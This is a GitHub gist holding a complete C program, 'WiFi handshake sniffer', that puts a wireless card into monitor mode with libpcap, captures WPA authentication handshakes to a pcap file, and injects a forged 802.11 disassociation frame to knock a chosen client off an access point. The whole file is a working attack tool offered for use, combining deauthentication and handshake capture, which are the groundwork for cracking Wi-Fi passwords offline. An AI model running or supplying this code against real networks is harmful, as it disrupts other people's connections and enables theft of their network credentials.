Last active
April 1, 2025 19:43
-
-
Save idimiter/8b1f3d5904a054e2815b25040ac46d7a to your computer and use it in GitHub Desktop.
WiFi handshake sniffer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* WiFi handshake sniffer v 0.5b | |
* | |
* Author: Dimitar T. Dimitrov | |
* Sofia, Bulgaria 2016 | |
* Under MIT License | |
* | |
* gcc sniff.c -lpcap -o sniff | |
* | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <pcap.h> | |
#define DEFAULT_FILTER "ether proto 0x888e or (type mgt subtype beacon)" // Beacon or Authentication | |
#define MAX_STRING_SIZE 512 | |
int NUM_PACKETS = -1; // -1 for Infinite | |
char errbuf[PCAP_ERRBUF_SIZE]; | |
pcap_t *pcap = NULL; | |
pcap_dumper_t *dumpfile; | |
int has_dump = 0; | |
int has_deauth = 0; | |
int wait_for_handshake = 0; | |
int packets_recieved = 0; | |
int handshakes_recieved = 0; | |
unsigned int bytes_recieved = 0; | |
char filter[512]; | |
// 49 bytes | |
const char* DEAUTH_REQ = "\x00\x00\x19\x00\x6f\x08\x00\x00\xca\x02\x0c\x22\x00\x00\x00\x00\x10\x02\x94\x09\x80\x04\xda\xa8\x00" // Radiotap header 25 bytes | |
"\xa0\x00" // Disassociate | |
"\x00\x01" // Duration | |
"\xff\xff\xff\xff\xff\xff" // Destination address (AP) 6 bytes | |
"\xff\xff\xff\xff\xff\xff" // Source address (iPhone) 6 bytes | |
"\xff\xff\xff\xff\xff\xff" // BSSID address (AP) 6 bytes | |
"\x50\x04"; //Sequence number | |
int deauth(const char *ap, const char *device) | |
{ | |
char buf[49]; | |
memcpy(buf, DEAUTH_REQ, 49); | |
memcpy(buf + 29, ap, 6); // Destination | |
memcpy(buf + 35, device, 6); // Source | |
memcpy(buf + 41, ap, 6); // BSSID | |
for(int i = 0; i < 1; i++) { | |
if(pcap_sendpacket(pcap, (const unsigned char *) buf, 49 ) < 0) | |
return(EXIT_FAILURE); | |
//usleep(2000); | |
} | |
return EXIT_SUCCESS; | |
} | |
void set_monitor(const char* dev) | |
{ | |
int status; | |
struct bpf_program fp; | |
pcap = pcap_create(dev, errbuf); | |
if (pcap == NULL) | |
{ | |
fprintf(stderr, "Error: %s\n", errbuf); | |
exit(EXIT_FAILURE); | |
} | |
pcap_set_rfmon(pcap, 1); | |
pcap_set_snaplen(pcap, 2048); | |
pcap_set_promisc(pcap, 1); | |
pcap_set_timeout(pcap, 512); | |
status = pcap_activate(pcap); | |
if (strlen(filter) > 0) | |
{ | |
printf("Filter is: %s\n", filter); | |
if (status == 0) | |
status = pcap_compile(pcap, &fp, filter, 0, 0); | |
if (status == 0) | |
status = pcap_setfilter(pcap, &fp); | |
if (status != 0) | |
{ | |
pcap_perror(pcap, 0); | |
pcap_close(pcap); | |
exit(EXIT_FAILURE); | |
} | |
} | |
} | |
void update(unsigned char *dumpfile, const struct pcap_pkthdr *header, const unsigned char *packet) | |
{ | |
if (packet != NULL) { | |
// Dirty and ugly check if its a Authentication | |
if (header->len > 58) | |
{ | |
u_int16_t type = (u_int16_t)(packet[57] << 8 | packet[58]); | |
if (type == 0x888e) // is Auth | |
{ | |
handshakes_recieved++; | |
printf("\a"); // Beep | |
// system("say -v Boing 'handshake'"); // Mac fun :-) | |
} | |
} | |
if (dumpfile != NULL) | |
{ | |
if (wait_for_handshake && handshakes_recieved > 0) | |
pcap_dump(dumpfile, header, packet); | |
else | |
pcap_dump(dumpfile, header, packet); | |
} | |
bytes_recieved += header->len; | |
printf("\rPackets: %d (%d bytes), Handshakes: %d", ++packets_recieved, bytes_recieved, handshakes_recieved / 4); | |
fflush(stdout); | |
} else | |
printf("Empty packet!\n"); | |
} | |
int main(int ac, char **av) | |
{ | |
int c; | |
char *dump_filename; | |
u_int8_t bssid[6]; | |
u_int8_t mac[6]; | |
strncpy(filter, DEFAULT_FILTER, MAX_STRING_SIZE); | |
while ((c = getopt(ac, av, "d:n:k:f:w")) != -1) | |
{ | |
switch (c) | |
{ | |
case 'd': | |
has_dump = 1; | |
dump_filename = optarg; | |
break; | |
case 'w': | |
wait_for_handshake = 1; | |
break; | |
case 'f': | |
if (optarg[0] == 'n') | |
filter[0] = 0; | |
else | |
strncpy(filter, optarg, MAX_STRING_SIZE); | |
break; | |
case 'n': | |
NUM_PACKETS = atoi(optarg); | |
break; | |
case 'k': | |
if (sscanf(optarg, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx-%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", | |
&bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5], | |
&mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) != 12) { | |
fprintf(stderr, "Inorrect ADDRESS!\n"); | |
return EXIT_FAILURE; | |
} | |
has_deauth = 1; | |
break; | |
} | |
} | |
if (optind >= ac) { | |
printf("usage: %s [OPTIONS] interface\n", av[0]); | |
printf("OPTIONS:\n\t\t" | |
"-d <dumpfile>\t\t\tFile to dump the packets to\n" | |
"\t\t-k <BSSID>-<Client MAC>\t\tSend deauth packet from bssid to client\n" | |
"\t\t-f <'packet filter'>\t\tFilter or use -fn to remove the default filter\n" | |
"\t\t-w \t\t\t\tWait for a valid handshake before start dumping\n" | |
"\t\t-n <number>\t\t\tNumber of packets to capture (Default is -1, infinite)\n"); | |
printf("\nExample:\n\twsniff -d dump.pcap -n 1000 -k 11:22:33:44:55:66-77:88:99:aa:bb:cc -f 'ether proto 0x888e or (type mgt subtype beacon)' en1\n"); | |
return 0; | |
} | |
printf("Monitoring on %s...\n", av[optind]); | |
set_monitor(av[optind]); | |
if (has_deauth) | |
printf("Sending deauth: %s\n", deauth((const char *)bssid, (const char *)mac)==0?"OK":"Error"); | |
if (has_dump) { | |
printf("Dumping to: %s\n", dump_filename); | |
dumpfile = pcap_dump_open(pcap, dump_filename); | |
if (dumpfile == NULL) { | |
fprintf(stderr,"\nError opening output file\n"); | |
return EXIT_FAILURE; | |
} | |
} | |
pcap_loop(pcap, NUM_PACKETS, update, (unsigned char *)dumpfile); | |
if (has_dump) | |
pcap_dump_close(dumpfile); | |
pcap_close(pcap); | |
printf("\n"); | |
return EXIT_SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment